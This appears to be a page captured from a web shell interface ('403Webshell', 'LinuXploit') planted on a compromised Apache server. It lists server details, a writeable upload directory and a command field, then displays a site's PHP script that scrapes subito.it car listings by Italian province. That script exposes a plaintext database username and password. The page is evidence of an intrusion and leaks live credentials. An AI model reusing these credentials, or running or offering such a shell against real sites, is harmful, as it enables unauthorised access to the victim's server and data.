403Webshell
Server IP : 80.211.21.168  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux alex-webdesign.it 3.10.0-1160.119.1.el7.tuxcare.els22.x86_64 #1 SMP Mon Aug 18 06:07:12 UTC 2025 x86_64
User : admin_japan ( 10003)
PHP Version : 8.2.32
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/cerchijapan.it/valutatoreauto.it/aur/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/cerchijapan.it/valutatoreauto.it/aur/polpo.php
<?php

// Funzione per ottenere il JSON dalla URL API
function getJsonData($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    curl_close($ch);
    
    return json_decode($response, true);
}

// Configurazione del database
$host = '127.0.0.1';
$db   = 'app_valutatoreauto';
$user = 'app_valu_usr';
$pass = 'Pt864z*3t';
$charset = 'utf8mb4';

// Imposta la connessione al database
$dsn = "mysql:host=$host;dbname=$db;charset=$charset";
$options = [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   => false,
];
try {
    $pdo = new PDO($dsn, $user, $pass, $options);
} catch (\PDOException $e) {
    throw new \PDOException($e->getMessage(), (int)$e->getCode());
}


$sigle_prov = array(
    "AG", "AL", "AN", "AO", "AP", "AQ", "AR", "AT", "AV", "BA",
    "BG", "BI", "BL", "BN", "BO", "BR", "BS", "BT", "BZ", "CA",
    "CB", "CE", "CH", "CL", "CN", "CO", "CR", "CS", "CT", "CZ",
    "EN", "FC", "FE", "FG", "FI", "FM", "FR", "GE", "GO", "GR",
    "IM", "IS", "KR", "LC", "LE", "LI", "LO", "LT", "LU", "MB",
    "MC", "ME", "MI", "MN", "MO", "MS", "MT", "NA", "NO", "NU",
    "OR", "PA", "PC", "PD", "PE", "PG", "PI", "PN", "PO", "PR",
    "PT", "PU", "PV", "PZ", "RA", "RC", "RE", "RG", "RI", "RM",
    "RN", "RO", "SA", "SI", "SO", "SP", "SR", "SS", "SU", "SV",
    "TA", "TE", "TN", "TO", "TP", "TR", "TS", "TV", "UD", "VA",
    "VB", "VC", "VE", "VI", "VR", "VT", "VV"
);


foreach ($sigle_prov as $sigla) {
    // Prepara la query per ottenere i codici
    $stmt = $pdo->prepare("SELECT cod_subito_regione, cod_subito FROM gi_province WHERE sigla_provincia = ?");
    $stmt->execute([$sigla]);
    $result = $stmt->fetch();
    
    if ($result) {
        $cod_regione = $result['cod_subito_regione'];
        $cod_subito = $result['cod_subito'];

        // URL base dell'API
        $baseUrl = "https://hades.subito.it/v1/search/items?c=2&r=$cod_regione&ci=$cod_subito&t=s&qso=false&shp=false&urg=false&sort=datedesc&lim=100&start=";
        $endUrl = "&advt=0";

        // Prendi i dati dalla prima pagina per ottenere count_all
        $initialData = getJsonData($baseUrl . "0" . $endUrl);

        if (isset($initialData['count_all'])) {
            $countAll = $initialData['count_all'];
            $pages = ceil($countAll / 100);

            // Variabile per memorizzare tutti i dati
            $allData = [];

            // Cicla attraverso tutte le pagine
            for ($i = 0; $i < $pages; $i++) {
                $startValue = $i * 100;
                $url = $baseUrl . $startValue . $endUrl;
                $pageData = getJsonData($url);
                
                // Aggiungi i dati della pagina corrente all'array totale
                if (isset($pageData['ads'])) {
                    $allData = array_merge($allData, $pageData['ads']);
                }
            }

            // Salva tutti i dati nel file JSON
            $outputFile = $sigla . '.json';
            file_put_contents($outputFile, json_encode($allData, JSON_PRETTY_PRINT));

            // Ottieni la dimensione del file in MB
            $fileSize = filesize($outputFile); // Dimensione in byte
            $fileSizeMB = $fileSize / (1024 * 1024); // Converti in MB

            echo "Dati salvati nel file " . $outputFile . " (" . number_format($fileSizeMB, 2) . " MB)<br>";
        } else {
            echo "Nessun dato trovato per la sigla " . $sigla . "<br>";
        }
    } else {
        echo "Nessuna corrispondenza trovata per la sigla " . $sigla . "<br>";
    }
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit